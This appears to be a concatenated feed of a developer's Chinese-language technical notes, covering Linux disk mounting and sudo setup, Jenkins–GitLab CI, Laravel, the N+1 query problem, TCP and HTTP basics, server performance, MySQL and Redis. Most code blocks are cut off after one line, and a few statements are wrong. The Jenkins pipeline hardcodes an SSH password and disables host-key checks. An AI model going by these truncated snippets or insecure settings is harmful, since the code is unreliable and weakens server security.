1 | /dev/sdc1: UUID="f8025940-19bc-4943-9711-b431f478838e" TYPE="ext4" PARTUUID="d746a3a1-01" |
编辑/etc/fstab
文件,添加以下内容:
1 | UUID=9da67a01-aaae-4979-93fd-9916f010731a /boo ext4 defaults 0 0 |
至此就完成了硬盘挂载的所有操作了。
常常会遇到的一个痛点就是多应用切换时,下一个输入法总是不确定,有时候是中文有时候是英文。
系统输入法切换的快捷方式是Control + Space
,而落格输入法切换中英文又是Shift
,这就导致总是需要来回切换,这一点就很烦。
这种情况下,如果只保留一个输入法,那就不会有这种困扰了。
但是系统并不允许我们删除默认的英文输入法,不过可以一些小手段来达到目的,具体步骤如下:
~/Library/Preferences/
路径下的com.apple.HIToolbox.plist
文件拷贝到桌面,用Xcode 打开,找到并删除AppleEnabledInputSources
中KeyboardLayout Name
为US
那一项,然后保存。~/Library/Preferences/
路径下文件Jenkins 是什么?
Jenkins是一个开源的、提供友好操作界面的持续集成(CI)工具。
Jenkins 如何与Gitlab 进行关联?
可以通过生成密钥(Webhooks 的钩子),然后到Gitlab 需要集成的项目中,设置集成功能,增加Web 钩子。
这样当进行Push 动作时,就会触发Jenkins 进行构建,然后执行相应的流水线。
对于小公司而言,开发服务器常用的架构是内网服务器(本地机器)+外网服务器内网穿透,Jenkins + 私有Gitlab 持续集成。
背景:Jenkins 和Gitlab 部署在外网服务器上,通过内网穿透对内网服务器(开发服务器)进行访问。
需求描述:每次进行Push 时,触发Jenkins 流水线,进行构建,将最新的版本同步到开发服务器上。
Jenkins的功能很强大,这里并不打算深入拓展,而是介绍一种相较简单粗暴的方式去完成持续集成。
首先需要在Jenkins 上新建任务,因为需求并不复杂,这里直接选择流水线的方式
如果需要关联TAPD,这里需要「关联TAPD」填上对应TAPD 的ID。
核心的配置在构建触发器这一块,根据Push 事件,触发执行流水线。
有以下几个点需要注意:
配置流水线:
上半部分是连接内网服务器(开发服务器)的基础信息,下半的配置信息是需要执行的构建脚本。
构建脚本的作用其实就是去执行git pull
这个动作,大概长这样:
1 | #!/usr/bin/bash |
def bdService() { def remote = [:] remote.name = 'hostname' remote.host = 'localhost' remote.port = 22 remote.user = 'username' remote.password = 'password' remote.allowAnyHosts = true return remote}pipeline { agent any stages { stage('代码集成') { steps { script { def remote = bdService(); sshCommand remote: remote, command: "/bin/bash /opt/shell/build.sh" } } } }}
配置完成之后,点击保存。
返回工作态,找到对应任务,点击立即构建。
通过构建历史,查看Console Output
,能看到类似输出则表示构建成功。
构建成功之后,就可以与Gitlab 进行关联了,点击项目=>设置=>集成。
链接(URL)是之前的 Webhook url,安全令牌则是上面生成的 Secret token,SSL 证书验证视情况选择是否开启,然后点击增加Web 钩子。
至此所有的配置就基本完成了,这时可以去测试Push,看看是否会执行自动构建。
]]>N+1
是ORM(对象关系映射)关联数据读取中存在的一个问题。在介绍什么是N+1
问题之前,首先思考一个问题:
假设现在有一个用户表(User)和一个余额表(Balance),这两个表通过user_id
进行关联。现在有一个需求是查询年龄大于18岁的用户,以及用户各自的余额。
这个问题并不难,但对于新手而言,可能常常会犯的一个错误就是在循环中进行查询。
1 | $users = User::where("age", ">", 18)->select(); |
这样做是非常糟糕的,数据量小还少,在数据量较大的情况下,是非常消耗数据库性能的。
通过Mysql 查询日志,可以看到查询用户表是一次,因为有四个符合该条件的用户,查询用户表关联的余额表是四次。
N+1
问题就是这样产生的:查询主表是一次,查询出N 条记录,根据这N 条记录,查询关联的副(从)表,共需要N 次。所以,应该叫1+N
问题更合适一些。
其实,如果稍微了解一点SQL,根本不用这么麻烦,直接使用JOIN
一次就搞定了。
对于这类问题,ORM 其实为我们提供了相应的方案,那就是使用『预加载功能』。
使用with()
方法指定想要预加载的关联:
1 | $users = User::where("age", ">", 18) |
hasBalance
是什么呢?
它是在User
模型中定义的一个方法:
1 | class User extends Model |
通过这个方法让User
模型与Balance
模型进行一对一关联。
现在再来看一下Mysql 的查询日志:
可以很清楚的看到,总查询次数由原来的1+N
变成了现在的1+1
。
N+1
问题是什么?会造成什么影响?应该如何解决?
with
去解决构建应用(8.*):
1 | $ composer create-project laravel/laravel weibo --prefer-dist "8.*" |
构建应用(5.*):
1 | $ composer create-project laravel/laravel Laravel --prefer-dist "5.7.*" |
Ubuntu 中查看所有PHP 版本:
1 | $ update-alternatives --display php |
Ubuntu 中快速切换PHP 版本:
1 | $ sudo update-alternatives --config php |
工作原理:
注意事项:
blade.php
是Laravel 的一套模版引擎,有自己的一套规则,通过继承父视图,可以减少很多重复代码art tinker
是 Laravel 框架自带的命令,用以调出 Laravel 的交互式运行时Artisan 是 Laravel 提供的 CLI(命令行接口)。
常用命令如下:
|命令|说明|
|-|-|
|php artisan key:generate|生成App Key|
|php artisan make:controller|生成控制器|
|php artisan make:model|生成模型|
|php artisan make:policy|生成授权策略|
|php artisan make:seeder|生成Seeder 文件|
|php artisan migrate|执行迁移|
|php artisan migrate:rollback|回滚迁移|
|php artisan migrate:refresh|重置数据库|
|php artisan db:seed|填充数据库|
|php artisan migrate:refresh –seed|进行数据库迁移同时填充数据库|
|php artisan tinker|进入tinker 环境|
|php artisan route:list|查看路由列表|
1 | $ composer require laravel/ui:^3.0 --dev |
composer require
命令是用来安装扩展包的命令,参数--dev
表示仅仅只在开发环境中使用。
上面命令安装完成之后,使用以下命令来引入 bootstrap:
1 | $ php artisan ui bootstrap |
建议使用yarn
命令代替npm
命令:
1 | $ yarn install |
前端代码编译出现问题时,可以尝试将node_moudles
文件夹删除,再次安装相关依赖。
1 | $ npm run watch-poll |
上面这条命令的作用其实就是监视前端文件变化,如果有变化的话,就马上编译。
生成环境中,为什么不用一直开启这个命令?
这是因为服务端只需要手动编译一次就好,也就是使用npm run dev
命令。
之所以说Laravel 是全栈框架,就是因为它在一个项目中把前端和后端所有东西都包揽了。
Laravel 的前端工作流是通过 Sass、NPM、Yarn、Laravel Mix 构成一套前端工作流。
Sass
是一种可用于编写CSS 的语言。Yarn
是一个用于代替NPM 客户端的新的包管理器。Laravel Mix
是一个前端任务自动化管理工具。Laravel Mix
可以自动编译resources
下面的文件。双括号
是在Html 中内嵌PHP 的Blade 语法,表示包含在该区域内的代码使用PHP 来编译执行。其特点是一个模型对应数据库中的一个表。
在进行数据库迁移时,up
方法会被调用,在进行数据库回滚时,down
方法会被调用。
所以无论是初次创建表,还是后面增加字段,都需要去up
方法下进行定义,这样在数据库迁移时才会生效。
创建一张表:
1 | $ php artisan make:migration create_followers_table --create="followers" |
增加一个字段:
1 | $ php artisan make:migration add_activation_to_users_table --table=users |
数据库的回滚与迁移直接对应着 databases
文件夹下的迁移文件。
创建模型的同时并进行迁移:
1 | $ php artisan make:model Model/Articles -m |
可以使用以下命令进行数据库交互:
1 | $ php artisan tinker |
该命令可以进入Eloquent 模型,直接进行数据库交互。在该模式下,Eloquent 模型的方法均可以使用。
在本地可以这样访问Homestead 的数据库:
1 | $ mysql -uhomestead -h127.0.0.1 -P33060 -p // 或者 mysql -uhomestead -h192.168.10.10 -P3306 -p |
但是在项目(Homestead)中,只能这样访问:
1 | $ mysql -uhomestead -h127.0.0.1 -P3360 -p // 或者 mysql -uhomestead -h192.168.10.10 -P3306 -p |
因为端口做了映射(Homestead 3306=> 主机 33060),而项目又运行在Homestead 中,所以项目配置中的端口不能写成33060
,否则无法正常访问。
这个『隐形路由绑定』倒底是个啥玩意?简单理解就是通过控制器把模型绑定在路由中了。
路由代码:
1 | Route::get('/users/{user}', 'UsersController@show')->name('users.show'); |
控制器及模型代码:
1 | use App\Models\User; |
上面这段代码有很多知识点:
show
是通过路由获取的User $user
是定义在控制器中的方法的Eloquent 模型类型声明$user
会匹配路由片段中的{user}
,这样Laravel 会自动注入与请求URL 传入的ID 对应的用户模型实例。这里利用了隐形路由绑定,直接读取对应ID 的用户的实例。
其实这个和ThinkPHP 中的路由传参很像,只不过不同的是ThinkPHP 中没有定义模型。
1 | Route::get('hello/:name', 'index/hello'); |
Laravel 是如何接收前端的参数的?
1 | public function sotre(Request $request){ |
Laravel 提供了attempt
方法用于登录验证。
1 | if (Auth::attempt(['email' => $email, 'password' => $password])) { |
attempt
方法接收一个数组作为第一个参数,会去数据库中找寻对应的值,逻辑如下:
email
字段匹配的值登录成功之后,可以使用Auth::user()
获取用户信息。
1 | Route::get('login', 'SessionsController@create')->name('login'); |
通过name()
方法定义路由名称,这样需要访问该路由时,直接访问该名称就好。
通常开发编辑用户时,需要先从数据库中获取到该用户当前的信息,然后再进行编辑。
在Laravel 中,只需要几行代码就可以完成这件事情。
1 | public function edit(User $user){ |
这里通过『隐形路由绑定』,把对应ID 的用户的实例作为控制器参数。
有时我们会希望未登录的用户,不能访问某些功能,这时可以通过 Auth 提供的中间很方便的完成。
1 | $this->middleware("auth", [ |
但需要注意的时,这里仅仅限制的是未登录,而有些功能则是需要在登录状态下进行限制,比如:ID 为1 的用户不能修改ID 为2 的用户的信息。
这个就不是中间件职责范围内能做的事情了,这个需要授权策略来完成。
1 | // 定义策略 |
还需要在控制器中验证才算正真使用了。
1 | // 使用策略 |
数据填充需要使用Seeder 类,如果需要进行数据填充,需要调用 Seeder 的call 方法。
以用户模型为例,填充步骤如下:
首先创建用户工厂,定义填充数据
1 | $ php artisan make:factory UserFactroy |
创建用户生成器,实现run 方法
1 | $ php artisan make:seeder UsersTableSeeder |
在DatabaseSeeder 类中实现run 方法,调用 call 方法
1 | public function run() |
重置数据库
1 | $ php artisan migrate:refresh |
填充数据
1 | php artisan db:seed |
什么时候应该在控制器中增加User $user
这样的代码呢?
看路由,看路由,看路由,看路由是如何定义的。
如果路由中有这样的东西,那么一定要是要的。
1 | Route::get("/users/{user}", "UserController@show")->name("users.show"); |
这是为什么呢?因为隐形路由绑定。
这里还有一个细节就是如何判断一个路由或者一个控制器是否是隐形路由绑定?
除了只是看路由之外,还需要看是否有与之对应的模型。这一点很重要哦。
另外什么时候需要Request $request
呢?也是看路由,Post 方法一定需要的。
1 | // 定义路由 |
Laravel 中的几种操作数据库的方式:
1 | public function store(User $user){ |
Laravel 中模型与模型之间是如何进行关联的呢?
答案是通过主键与外键进行关联。
通过Eloquent 关联模型与模型之间的关系:
Auth::user()
方法可以获取到当前用户的实例。
在User模型中定义了一个方法,然后通过Auth::user()
获取到的实例进行调用。
如果没有一对多的关系,需要这样创建一条微博:
1 | App\Models\Status::create() |
如果将用户模型与微博模型进行关联之后,可以得到以下方法:
1 | $user->statuses()->create() |
其中statuses()
是在用户模型中定义好的(名称可以不一样):
1 | public function statuses() |
正式写SQL 之前,可以先使用tinker 通过模型操作数据。
通过在模型中定义一些方法,以便可以在其他地方直接获取到数据。
创建一个新用户:
1 | $ useradd boo |
设置密码:
1 | $ passwd boo |
此时此用户已经可以正常使用了,但是还没有提权,所以很多事情做不了,这时可以把该用户加入sudo
用户组,通过sudo
命令来进行提权。
1 | $ usermod -G sudo boo |
一般直接就加入成功了,但是有些发行版本默认并没有sudo
用户组,所以这时需要先添加用户组。
1 | $ groupadd sudo |
手动添加完用户组之后,还需要修改sudoers
配置文件,这里有几种方式,根据实际情况进行选择:
sudo
组的成员执行任何命令1 | $ sudo visudo // 或者 sudo vim /etc/sudoers |
1 | $ sudo visudo |
通常还是建议将用户添加至sudo
用户组,然后赋予sudo
组成员权限,而不是直接对具体某个用户进行提权。
查看所有用户的列表:
1 | $ cat /etc/passwd |
查看所有用户组:
1 | $ cat /etc/group |
查看当前登入用户的组:
1 | $ groups |
查看指定用户所在的组:
1 | $ groups usernmae |
添加用户:
1 | $ useradd username |
设置(重置)密码:
1 | $ passwd username |
添加用户组:
1 | $ groupadd group_name |
将某个用户添加到某个组:
1 | $ usermod -G group_name username |
编辑sudoers 配置文件:
1 | $ sudo visudo |
那么更好的方式应该是怎样呢?使用枚举。
使用枚举有以下几个好处:
PHP 本身不支持枚举,但是使用类中的常量去定义可以实现等价的效果。
下面为用户类型创建一个枚举,用户可以是以下三种类型之一:
看起来像这样:
1 | class UserType extends Enum |
1 | if ($user->type === UserType::MEMBER){ |
如果我们不使用枚举,代码可能就会变成这样:
1 | if ($user->type === 1) { // 这个1表示什么?? |
很多时候我们希望能获取到某个类型对应的具体含义,这时可以通过定义获取器来获取。
1 | class UserType extends Enum |
这样当我们在调用getUserType
方法时,只需要传入对应的类型,就能获取到普通会员
、管理员
、超级管理员
了。
if...else
嵌套。状态码 | 含义 |
---|---|
200 | 请求成功 |
301 | 重定向 |
304 | 资源未被修改可以使用旧资源 |
404 | 资源找不到 |
403 | 请求被拒绝 |
500 | 服务端错误 |
502 | 网关错误 |
504 | 网关超时 |
UDP 是面向报文的、不可靠的数据报协议,TCP 是面向连接的、可靠的流协议。
说一说TCP 的“粘包”问题
结论:TCP 的“粘包”问题其实是一个伪命题。
服务端建立服务,客户端发起连接,正常情况下,服务端每次send,客户端都能正常recv,但在并发的情况下,服务端的两次send或者多次send,客户端可能只有一次recv了。这就导致了所谓的“粘包”问题的产生。
TCP 协议的本质是流协议,它只会保证以什么顺序发送字节,接受方就一定能按照这个顺序接收到,所以所谓的粘包问题不应该是传输层面的问题,而是应用层面的问题。
概念:指在发送数据的准备阶段,服务器和客户端之间需要三次交互。
第一次握手:客户端向服务端发送一个SYN包,并进入SYN_SENT 状态,等待服务端确认
第二次握手:当服务器收到请求之后,此时要给客户端一个确认信息ACK,同时发送SYN报,此时服务器进入 SYN_RECV 状态
第三次握手:客户端收到服务器发的ACK + SYN 包后,向服务器发送ACK,发送完毕之后,客户端和服务器进入TCP 连接成功状态,完成三次握手。
为什么握手一定要三次,不能两次吗?
这是为了防止已经失效的连接请求报文突然又传到Tcp 服务器,避免产生错误。
概念:所谓四次挥手就是说关闭TCP 连接的过程,当断开一个TCP 连接时,需要客户端和服务器共共发送四个包确认。
第一次挥手:客户端发送一个FIN,用来关闭客户端到服务器的数据传输,客户端进入 fin_wait 状态
第二次挥手:服务器收到fin 后,发送一个ack 给客户端,确认序号为收到序号+1,服务器进入close_wait 状态
第三次挥手:服务器发送一个fin 用来关闭服务器到客户端的数据传输,服务器进入 last_ack 状态
第四次挥手:客户端收到fin 后,客户端进入time_wait 状态,接着发送一个ack 给服务器,确认序号为收到序号+1,服务器进入 closed 状态,完成四次挥手。
短连接为每一次的数据传输准备了一个传输通道,而长连接则是建立一条通道,并一直保持,每一次传输时都会复用同一条连接通道。
Websocket 是一种通信协议,连接刚开始还是HTTP 协议,由客户端发起,然后切换成Websocket 协议。
它的存在,由轮询变成了客户端可以主动向服务端发送消息。
什么是轮询?
轮询是一种获取信息的方式。
值传递:传递的是变量在内存中的副本。
引用传递:传递的是变量在内存中的地址。
unset 并不会真正意义上注销一个变量,而是切断了变量名和实际值之间的关系,其变量只要还被引用就还没有被释放。
composer 的核心加载思想是通过composer 的autoload.php
,将类和路径的对应关系加载到内存中,最后将具体的加载实现注册到 spl_autoload_register
函数中。
curl
file_get_contents
fopen
抽象用于描述不同的事物,接口用于描述事物的行为
进程是CPU 分配内存的最小单位,线程是CPU 调度的最小单位,一个进程可以有多个线程,一个线程只能有一个进程。
Swoole 的进程模型采用主进程、管理进程、异步任务/工作进程协作的方式。
在LNMP 的模式下,PHP 是php-fpm 多进程+阻塞I/O 的进程模型。
并发:两件或者多件事情在同一时间间隔内发生
并行:两件或者多件事情在同一时刻发生
区别在与:在同一个时刻,对于并行来说,事件是一并发生,而对于并发来说,在宏观看来也是一并发生,但在微观上却是交替发生。
Zend 引擎首先会将PHP 代码进行解析(词法、语法解析)成 opcode,然后Zend 虚拟机会顺序执行这些指令。
当客户端发起一个请求到服务端,Web Server 首先会判断该请求是静态还是动态?
如果是静态,直接返回对应的静态资源。
如果是动态,FastCGI 会将该请求转发给本地 9000 端口(9000 是 PHP—FPM 所监听的端口),PHP-FPM 主进程接收到请求之后,
会分配一个空闲的 Worker 进程去处理这个请求,处理完成之后将数据返回给 FastCGI,再由 Nginx 返回给客户端。
传统的PHP 无法以常驻内存的方式运行,这是因为PHP是解释型脚本语言,这种运行机制使得每个PHP 页面解释执行后,所有资源都被回收了。
有两种方式:一种是普通的 token 令牌,另一种则是JWT。
普通Token:
用户初次登录会携带用户名和密码等信息,服务端验证通过之后,会给客户端返回一个Token。
这个Token 可以是由用户名、密码、登录设备、登录IP 等信息加密之后组成,
以后的客户端每一次请求都会携带这个Token,服务端则会验证该Token。
尽量避免使用exit
、die
方法直接退出,而使用try...catch
来捕获异常。
创造型:工厂模式、单例模式、原型模式
结构型:适配器模式、装饰模式、门面模式、代理模式
行为型:迭代器模式、中介模式、观察者模式
依赖注入主要用来减少代码间的耦合,有效分离对象和它所需要的外部资源。
Mysql 的InnoDb 和MyISAM 引擎有何不同?
有四种隔离级别。
两个或多个事务在同一个资源上相互占用。
索引就是类似于书籍目录的存在,主键是用于确定字段的唯一性。
但是索引也不是越多越好,索引加快了查询速度,但同时也会影响更新速度。
有三种,分别是:RDB、AOF、混合。
ping
、tcpping
、telnet
、netstat
、nmap
、lsof
、tcpdump
df
、du
ps
、pstree
free
top
ab
、wrk
curl
、wget
、scp
glances
当在浏览器中输入了一个地址,直到浏览器返回页面之前的那段时间里,都发生了一些什么呢?
大概经历了以下几部分时间:
“数据在网络上传输的时间”我们通常称之为响应时间,它的决定因素主要包括发送的数据量和网络宽带。
站点服务器处理请求并生成响应数据的时间主要消耗在服务端,其中包括非常多的环节,我们一般用另一个指标来衡量这部分时间,即每秒处理请求数,也称吞吐率,这里的吞吐率并不是指单位时间内处理的数据量,而是请求数。影响服务器吞吐率的因素非常多,比如:服务器的并发策略、I/O 模型、I/O 性能、CPU 核数等,当然也包括应用程序本身的逻辑复杂度等。
浏览器本地计算和渲染的时间自然消耗在浏览器端,它依赖的因素包括浏览器采用的并发策略、样式渲染方式、脚本解释器的性能、页面大小、页面组件(图片、CSS、JS等)数量、页面组件缓存状况、页面组件域名分布及DNS 解析等。
因为大多数开发者生活在应用层,这些似乎与他们毫无关系,然而一旦当你开始将注意力转向站点性能时,这些基础知识便是你不能不知道的。
如何计算响应时间
响应时间 = 发送时间 + 传播时间 + 处理时间
发送时间很容易计算,即”数据量/宽带“,比如要发送100Mbit 的数据,而且发送速度为 100Mbit/s,也就是宽带为 100M,那么发送时间便为 1s。值得注意的是,在两台主机之间往往存在多个交换节点,每次的数据转发,都需要花费发送时间,那么总的发送时间也包括这些转发时所花费的发送时间。
传播时间主要依赖于传播距离,因为传播速度我们可以近似认为约等于 2.0x108m/s,那么传播时间便等于传播距离除以传播速度。比如两个交换节点之前线路的长度为 1000km,相当于北京到上海的直线距离,那么一个比特信号从线路的一端到另一端的传播时间为 0.005s。
处理时间就是指数据在交换节点中为存储转发而进行一些必要的处理所花费的时间,其中的重要组成部分就是数据在缓冲区队列中排队所发送的时间。注意,准确地说应该是”你的数据“在队列中排队所花费的时间,因为在队伍中还有其他与你毫不相干的数据。
如果全世界只有你的服务器和你的用户在传输数据,那么用于排队处理时间可以忽略。
那么,我们可将响应时间的计算公式整理为:
响应时间 = (数据量比特数 / 带宽)+ (传播距离 / 传播速度)+ 处理时间
另外,下载速度的计算公式如下:
下载速度 = 数据量字节数 / 响应时间
吞吐率指的是单位时间内服务器的请求数。
吞吐率是指在一定并发用户数的情况下,服务器处理请求能力的量化体现。
我们要统计吞吐率,便存在一些潜在的前提,那就是压力的描述和请求性质的描述。
压力的描述一般包括两部分,即并发用户数和总请求数,也就是模拟多少个用户同时向服务器发送多少个请求。
请求性质则是堆请求的URL 所代表的资源的描述,比如 1KB 大小的静态文件,或者包含10 次数据库查询的动态内容等。
所以,吞吐率的前提包括如下几个条件:
服务器之所以可以同时处理多个请求,在于操作系统通过多执行流体希设计使得多个任务可以轮流使用系统资源,这些资源包括CPU、内存以及I/O 等。
事实上,大多数进程的时间都主要消耗在了I/O操作上,现代计算机的DMA(Direct Memory Access 直接内存访问)技术可以让CPU 不参与I/O 操作的全过程,比如进程通过系统调用,使得CPU 向网卡或者磁盘等 I/O 设备发出指令,然后进程被挂起,释放出CPU 资源,等待 I/O 设备完成工作后通过中断来通知进程重新就绪。
每个进行都有自己独立的内存地址空间和生命周期。当子进程被父进程创建后,便将父进程地址空间的所有数据复制到自己的地址空间,完全继承父进程的所有上下文信息,它们之间可以通信,但是不互相依赖,也无权干涉彼此的地址空间。
在单CPU 的机器上,虽然我们感觉到很多任务在同时运行,但是从微观意义上讲,任何时刻只有一个进程处于运行状态,而其他的进程有的处于挂起状态并等待就绪,有的已经就绪但等待CPU 时间片,还有的处于其他状态。
内核中的进程调度器(Scheduler)维护着各种状态的进程队列。在 Linux 中,进程调度器维护着一个包括所有可运行进程的队列,称为“运行队列(Run Quere)”,以及一个包括所有休眠进程和僵尸进程的列表。
进程调度器的一项重要工作就是决定下一个运行的进程,如果运行队列中有不止一个进程,那就比较伤脑筋了,按照先来后到的顺序也许不是那么合理,因为运行在系统中的进程有着不同的工作需要,比如有些进程需要处理紧急的事件,有些进程只是在后台发送不太紧急的邮件,所以每个进程需要告诉进程调度器它们的紧急程度,这就是进程优先级。
在进程调度器维护的运行队列中,任何时刻至少存在一个进程,那就是正在运行的进程。
而当运行队列中有不止一个进程的时候,就说明此时CPU 比较抢手,其他进程还在等着呢,进程调度器应该尽快让正在运行的进程释放CPU。
通过在任何时刻查看 /proc/loadavg
,可以了解到运行队列的情况。
1 | ubuntu@localhost:~$ cat /proc/loadavg |
注意 4/482
这部分,其中的 4 代表此时运行队列中的进程个数,而 482 则代表此时的进程总数。
最右边的 6246 代表到此时为止,最后创建的一个进程ID。
接下来,左边的三个数值,分别是 4.28、4.05、4.02,它们就是我们常说的系统负载。
我们都知道,系统负载越高,代表CPU 越繁忙,越无法很好地满足所有进程的需要。
但是,系统负载是如何计算而来的呢?根据定义,它是在单位时间内运行队列中就绪等待的进程数平均值,所以当运行队列中就绪进程不需要等待就可以马上获得CPU 的时候,系统负载便非常低。当系统负载为 0.00 时,说明任何进程只要就绪后就可以马上获得 CPU,不需要等待,这时候系统响应速度最快。
那么,刚才提到的三个数值,便是系统最近 1 分钟、5 分钟、15 分钟分别计算得出的系统负载。
我们还可以通过其他方法获得系统负载,比如top、w 等工具,从实现方法上看,这些工具获得的系统负载都是来源于 /proc/loadavg
。
了解了这些内容后,要想提高服务器的系统负载,很简单,只需要编写一个没有任何 I/O 操作并且长时间占用 CPU 时间的PHP 脚本,比如一个循环累加器,如下所示:
1 | <?php |
然后用100 个并发用户请求这个脚本,进行压力测试,这时候查看系统负载就会看到如下:
1 | load average: 98.26, 45.89, 17.94 |
所以,如果我们希望服务器支持较大的并发数,那么就要尽量减少上下文切换次数,最简单的做法就是减少进程数,尽量使用线程并配合其他I/O 模型来设计并发策略。
对于网络 I/O和磁盘 I/O,它们的速度要慢很多。这些I/O 操作需要由内核系统调用来完成,同时系统调用显然需要CPU 来调度,而CPU 的速度毫无疑问是非常快的,这就使得CPU 不得不浪费宝贵的时间来等待慢速I/O 操作。
尽管我们通过多进程等方式来充分利用空闲的CPU 资源,但我们还是希望能够让CPU 花费足够少的时间在I/O 操作的调度上,这样就可以腾出更多的CPU 时间来完成更多的I/O 操作。
在介绍I/O 模型之前,有必要简单地说说慢速I/O 设备和内存之间的数据传输方式。
我们拿磁盘来说,很早以前,磁盘和内存之间的数据传输是需要CPU 控制的,也就是说如果我们读取磁盘文件到内存中,数据要经过CPU 存储转发,这种方式称为 PIO。显然这种方式非常不合理,需要占用大量的CPU 时间来读取文件,造成文件访问时系统几乎停止响应。
后来,DMA(Direct Memory Access 直接内存访问)取代了PIO,它可以不经过CPU 而直接进行磁盘和内存的数据交换。在DMA 模式下,CPU 只需要向DMA 控制器下达指令,让DMA 控制器来处理数据的传输即可,DMA 控制器通过系统总线来传输数据,传送完毕再通知CPU,这样就很大程度上降低了CPU 占有率,大大节省了系统资源,而它的传输速度与PIO 的差异并不是十分明显,因为这主要取决于慢速设备的速度。
缓存更加注重的是策略,也就是说缓存命中率,如果每次都能在缓存中找到需要的数据,那是最理想的结果,如果每次都在缓存中找不到需要的数据,那么缓存将变得毫无价值。
解释器核心引擎根本看不懂这些脚本代码,无法直接执行,所以需要进行一系列的代码分析工作,当解释器完成对脚本代码的分析后,便将它们生成可以直接运行的中间代码,也称为操作码(Operate Code,opcode)。
对于解释型语言而言,从程序代码到中间代码的这个过程,我们称为解释(parse),它由解释器来完成。对于编译型语言而言,从程序代码到中间代码的这个过程称为编译(compile)。
编译器和解释器的一个本质区别在于,解释器生成中间代码后,便直接执行它,所以运行时的控制权在解释器; 而编译器则将中间代码进一步优化,生成可以直接运行的目标程序,但不执行它,用户可以在随后的任意时间执行它,这时控制权在目标程序,和编译器没有任何关系。
事实上,就解释和编译本身而言,它们的原理是相似的,都包括词法分析、语法分析、语义分析等。
为什么开启 opcode,对性能的提升会巨大?
这是因为 PHP 在动态解析语法的过程中,会生成操作码,而打开opcode 缓存,就可以避免重复编译。
当然,并不是所有的动态内容都在应用了 opcode cache 之后有大幅度的性能提升,因为 opcode cache 的目的是减少CPU 和内存开销,如果动态内容的性能瓶颈不在于CPU 和内存,而在于I/O 操作,比如数据库查询带来的磁盘I/O 开销,那么opcode cache 的性能提升是非常有限的。
Q:假如100 个用户同时向服务器分别进行 10次请求,与 1 个用户向服务器连续进行 1000 次请求,效果一样吗?也就是说给服务器带来的压力一样吗?
A:虽然看起来服务器都需要连续处理 1000 个请求,其实关键的区别就在于,是否真的”连续“。
首先有一点需要明白,对于压力测试中提到的每一个用户,连续发送请求实际上是指在发送一个请求并接受到响应数据后再发送下一个请求,这样一来,从微观层面来看,1 个用户向服务器连续进行 1000次请求的过程中,任何时刻服务器的网卡接收缓冲区中只有来自该用户的 1 个请求,而 100 个用户同时向服务器分别进行 10 次请求的过程中,服务器网卡接收缓冲区最多有 100 个等待处理的请求,显然这时服务器的压力更大。
Q:关于worker 进程的数量,既然可以由我们来设置,那么是不是越多越好呢?
A:显然不是,任何时刻从CPU 的角度来看,只有一个进程在运行。没有一个绝对的公式来告诉你如何选择worker 进程数,需要根据实际情况具体分析和调整。
Q:7ms 意味着什么呢?
A:一个比特通过光纤从北京传到西安,理论上只需要 5ms; 25 毫秒足以让比特传播接近地球赤道半径的距离。
Q:缓存的目的?
A:缓存的目的就是把需要花费昂贵开销的计算结果保存起来,在以来需要的时候直接取出,避免重复计算。
tcp/ip
协议,后者是基于socket 套接字。具体:
mysql -h 127.0.0.1 -uroot -p
mysql -h localhost -uroot -p
或者 mysql -uroot -p
可以通过 tcpdump
命令抓包。
指定源端口:
1 | $ tcpdump -i lo0 port 3306 |
如果出现以下内容,表示本地没有lo0
这个设备。
1 | tcpdump: lo: No such device exists |
可以通过tcpdump -D
命令查看本地设备名称:
1 | 1.en0 [Up, Running] |
使用mysql -h 127.0.0.1 -uroot -p
,可以看到Mysql 的连接过程是基于tcp/ip
协议。
当客户端退出Mysql 时,会发送四条记录,也就是tcp 的四次挥手。
socket
方式会快于tcp/ip
,
mysql 使用线程来处理连接,每当一个请求进来,MySQL会创建一个线程去处理请求,
可以使用show status
命令查看当前处于连接状态的线程个数,所以在高并发下,这将给MySQL服务器带来巨大的压力,消耗服务器资源。
实际上 mysql 实现了线程池,当客户端断开连接后,mysql 会将当前线程缓存起来,当下一次有新的请求进来时,无需创建新的线程。
查看线程池大小:
1 | mysql> show variables like 'thread_cache_size'; |
设置线程池大小:
1 | mysql> set global thread_cache_size = 20; |
查看线程池状态:
1 | mysql> show status like 'Threads_%'; |
其中:
Threads_cached
:空闲线程数量。当有新的请求进来时,mysql 不会立即创建线程去处理,而是去Threads_cached
查看空闲的连接线程,如果存在则直接使用,不存在则创建新的线程。Threads_connected
:当前处于连接状态的线程个数。Threads_created
:创建过的线程数,如果发现Threads_created
值过大的话,表明 mysql 服务器一直在创建线程,这也是比较耗资源,可以适当增加配置文件中Thread_cache_size
值。Threads_running
:处于激活状态的线程的个数,这个一般都是远小于Threads_connected
的。线程池的出现解决了频繁的创建连接和销毁连接的问题,但仅有线程池还是不够的,不能解决客户端频繁连接mysql 带来的性能损耗。
Redis 有各种语言的客户端,这里仅以PHP 的客户端来了解Redis 的发布订阅。
发布者:即publish客户端,无需独占链接,你可以在publish消息的同时,使用同一个redis-client链接进行其他操作(例如:INCR等)
订阅者:即subscribe客户端,需要独占链接,即进行subscribe期间,redis-client无法穿插其他操作,此时client以阻塞的方式等待“publish端”的消息;
这一点很好理解,因此subscribe端需要使用单独的链接,甚至需要在额外的线程中使用。
订阅者订阅频道:
发布者向频道中发送内容
subscribe 客户端:
1 | <?php |
publish 客户端:
1 | <?php |
subscribe 客户端需要手动设置不超时,有两种方式:
ini_set('default_socket_timeout', -1)
$redis->setOption(Redis::OPT_READ_TIMEOUT, -1)
如果不设置不超时,60s后会报一个错误:
1 | Fatal error: Uncaught RedisException: read error on connection to 127.0.0.1:6379 |
方式一是通过临时修改 php.ini
配置项,default_socket_timeout
默认为 60s 。
default_socket_timeout
是socket流的超时参数,即socket流从建立到传输再到关闭整个过程必须要在这个参数设置的时间以内完成,如果不能完成,那么PHP将自动结束这个socket并返回一个警告。
推荐第二种,因为方式二是通过修改redis的配置项,因此仅对redis连接生效,相对于方式一,不会产生意外的对其他部分的影响。
CPU(计算机)能够直接识别和执行的只有机器语言。使用 C、Java 等语 言编写的程序,最后都会转化成机器语言。
CPU 和内存是由许多晶体管组成的电子部件,通常称为 IC (Integrated Circuit,集成电路)。
CPU 的内部由寄存器、控制器、运算器和时钟四个部分构成,各部分之间 由电流信号相互连通。
时钟信号英文叫作 clock puzzle。Pentium 2 GHz 表示时钟信号的频率为 2 GHz(1 GHz = 10 亿次 / 秒)。也就是说,时钟信号的频率越高,CPU 的 运行速度越快。
